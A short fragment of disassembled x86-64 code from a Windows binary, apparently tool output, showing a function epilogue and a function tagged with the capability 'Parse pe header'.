test ebp, ebp
jne 0x180002aac
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002b40
jmp 0x180002b50
Function at 0x14000e544
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000e370